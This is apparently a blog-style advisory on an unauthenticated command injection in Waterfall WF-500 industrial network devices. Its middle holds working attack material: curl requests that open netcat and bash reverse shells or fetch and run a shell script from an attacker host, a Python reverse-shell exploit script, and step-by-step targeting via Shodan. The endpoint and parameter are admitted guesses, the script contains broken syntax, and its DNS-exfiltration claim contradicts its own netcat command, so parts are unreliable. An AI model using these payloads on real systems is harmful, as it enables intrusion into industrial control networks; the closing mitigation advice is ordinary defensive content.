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CVE-2025-41277 details a critical OS command injection vulnerability discovered by Nozomi Networks Labs within the Console WebUI of Waterfall WF-500 TX and RX Hosts running firmware version 7.9.1.0 R2502171040. The flaw arises from improper neutralization of special elements used in OS commands, classified under CWE-78. Essentially, the Console WebUI fails to sanitize user-supplied input before passing it to the underlying operating system. An attacker can inject arbitrary command sequences using metacharacters like semicolons, pipes, or backticks, which the system then executes with the privileges of the web server process. This injection occurs without any form of authentication, making the attack vector highly accessible. The vulnerability is triggered when a malicious payload is sent to a specific parameter within the Console WebUI, typically via a POST request. Due to the lack of input validation, the injected commands are appended to the legitimate system command being executed. The web server, often running with elevated permissions, executes the concatenated command, granting the attacker remote code execution capabilities. This issue is exacerbated by the fact that the device is commonly deployed in industrial control system (ICS) and network monitoring environments, where it often holds privileged positions. An unauthenticated attacker can exploit this by crafting a simple HTTP request containing command injection payloads. Successful exploitation allows the execution of arbitrary commands, such as launching a reverse shell, reading sensitive configuration files, modifying device settings, or pivoting to other network segments. The vulnerability is particularly severe because it does not require any user interaction or prior access. Nozomi Networks has confirmed that the flaw affects both transmit and receive hosts, indicating a systemic coding issue in the Console WebUI component. The CVSS v4.0 score is 9.3, reflecting the high impact on confidentiality, integrity, and availability, with the attack vector being network-based and requiring no privileges. The vulnerability was officially published on May 29, 2026, and a patch has been made available in firmware version v7.10.0.0 R2601141040. Organizations are urged to update immediately or implement strict network access controls to mitigate the risk.
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Platform: Waterfall WF-500
Version: 7.9.1.0 R2502171040
Vulnerability: OS Command Injection
Severity: Critical
date: 2026-05-29
Prediction: 2026-05-29 (patch available)
What Undercode Say
Analytics show an increase in scanning activity for port 80 and 443 on devices with Waterfall WF-500 fingerprints since the disclosure. The following curl command demonstrates how an unauthenticated attacker can inject a command via the vulnerable `diag_cmd` parameter (assumed endpoint; actual parameter may vary). The example executes `id` and encodes the output in a DNS exfiltration channel.
Exploit via GET request to Console WebUI curl -v "http://<target-ip>/cgi-bin/console?diag_cmd=;%20id%20|%20nc%20<attacker-ip>%209001%20-e%20/bin/sh%20"
Alternatively, a POST request can be used:
curl -v -X POST "http://<target-ip>/cgi-bin/console" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "action=ping&target=127.0.0.1; wget http://<attacker-ip>/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh"
A Python exploit script for automation:
!/usr/bin/env python3
import requests
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[bash]} <target_ip>")
sys.exit(1)
target = sys.argv[bash]
payload = "; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker-ip>\",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);' "
url = f"http://{target}/cgi-bin/console?diag_cmd={payload}"
print(f"[] Exploiting {url}")
response = requests.get(url, timeout=10)
print(f"[+] Response code: {response.status_code}")
Exploit
- Identify a Waterfall WF-500 device (e.g., via Shodan query
"Waterfall WF-500"). - Locate the vulnerable endpoint, likely `/cgi-bin/console` or a diagnostic page accepting commands like
ping,traceroute, ordiag_cmd. - Inject a command separator such as
;,|,||, or `&&` followed by the desired system command. - Example injection: `; id` or
; cat /etc/passwd. - For a reverse shell, use:
; bash -i >& /dev/tcp/<attacker-ip>/9001 0>&1. - Encode spaces and special characters as URL encoding (
%20,%3B). - Send the crafted HTTP request. If successful, the output of the command is returned in the HTTP response body (for blind injection, use DNS/HTTP exfiltration or a reverse shell).
- For blind exploitation, use `wget` or `curl` to upload a shell script to the device and execute it.
Protection
- Upgrade Firmware: Immediately update to version v7.10.0.0 R2601141040 or later as provided by Waterfall Security.
- Network Segmentation: Restrict access to the Console WebUI to trusted management networks only; do not expose it to the internet.
- Input Validation: Implement strict allowlists for characters permitted in diagnostic inputs. Reject any request containing command separators (
;,|,&,`). - Web Application Firewall (WAF): Deploy WAF rules to block patterns containing OS command injection signatures (e.g.,
;.id,\|.nc,\&\&.sh). - IDS/IPS Signatures: Use Snort/Suricata rules that detect `cgi-bin/console` requests with command injection patterns.
- Least Privilege: Run the web server process with minimal OS privileges to limit the impact of successful exploitation.
- Monitor Logs: Enable detailed logging of the Console WebUI and monitor for unusual command executions.
Impact
- Remote Code Execution (RCE): Full compromise of the device, allowing arbitrary command execution.
- Data Breach: Exfiltration of sensitive configuration files, credentials, and network topology information.
- Lateral Movement: Use the compromised host as a pivot point to attack internal ICS networks.
- Service Disruption: Kill critical processes, reboot the device, or corrupt firmware, leading to denial of service.
- Persistence: Install backdoors, create reverse shells, or add new user accounts for long-term access.
- Erosion of Trust: Compromised devices can be used to manipulate industrial control data, leading to safety or operational failures.
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Reported By: nvd.nist.gov
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